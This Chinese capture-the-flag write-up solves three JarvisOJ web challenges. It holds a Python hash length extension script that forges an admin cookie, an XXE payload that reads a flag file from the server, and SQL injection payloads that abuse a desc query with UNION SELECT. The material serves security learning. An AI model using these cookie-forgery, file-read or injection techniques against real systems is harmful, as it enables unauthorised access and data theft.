jarvisoj flag在管理员手上
涉及知识点:
(1)代码审计和cookie注入
(2)哈希长度拓展攻击
解析:
进入题目的界面。看到
那么就是想方设法的变成admin了。挂上御剑开始审计。发现cookie有点问题,这个role很明显是guest字符串的序列化。
那么是不是简单的把role换成admin的序列化就可以了?尝试了一下,果然不行。
这时候,御剑扫到东西了。看了一下是个index.php~文件,看了一下内部。。乱码,估计是一个可以复原的文件。
去kali下把后缀改成.swp,使用vim -r指令来复原文件。
得到源码。
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) { //strrev()函数使字符串倒过来
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "
Welcome Admin. Your flag is
} else {
echo "Only Admin can see the flag!!
";
}
?>
审计代码发现这是一道哈希长度拓展攻击。
本来可以使用hashpump来工具操作,但是这道题没有给salt的长度。。只能爆破了。
附上爆破脚本
import requests,hashpumpy,urllib def attack(): url = 'http://web.jarvisoj.com:32778/' old_cookie = '3a4727d57463f122833d9e732f94e4e0' str1 = 's:5:"guest";' str2 = 's:5:"admin";' str1 = str1[::-1] #倒过来,这道题要role的值反过来求md5 str2 = str2[::-1] for i in range(1,20): #用于爆破salt的长度 new_cookie,message = hashpumpy.hashpump(old_cookie,str1,str2,i) payload = {'role':urllib.parse.quote(message[::-1]),'hsh':new_cookie} #quote()可以把 \x00 变成 %00 ans = requests.get(url,cookies = payload) print(i) print(ans.text) if 'welcome' in ans.text: print(ans.text) #print(urllib.parse.quote('\x00')) attack()
爆破出flag。
PS:哈希长度拓展攻击只能用于salt在可变参数之前的情况下。还有本题的逆序是个特例,常用脚本可以去掉str1 = str1[::-1]等的。
jarvisoj api调用
设计知识点:
xxe
解析:
就是一个xxe。发个包就完事了,就不单独拿出来写博客了。(其实对我这种新手还是挺难看出是xml的)
"1.0"?> DOCTYPE abcd[ "file:///home/ctf/flag.txt">]>&any;
jarvisoj inject
涉及知识点:
desc查询
解析:
有点恶心,但是没必要专门为它写一篇随笔。源码在index.php~中这个御剑可以扫到。
php require("config.php"); $table = $_GET['table']?$_GET['table']:"test"; $table = Filter($table); mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker(); $sql = "select 'flag{xxx}' from secret_{$table}"; $ret = sql_query($sql); echo $ret[0]; ?>
desc的固定查询格式是
desc `table1` `table2` //只要有一个表正确就返回true
所以payload: ?table=test` `union select database() limit 1,1
(当初好久没注sql忘记了limit 1,1 在这卡了好久,复习下吧,其他的都和普通sql没区别)
最后用payload: ?table=test` `union select flagUwillNeverKnow from secret_flag limit 1,1 拿到flag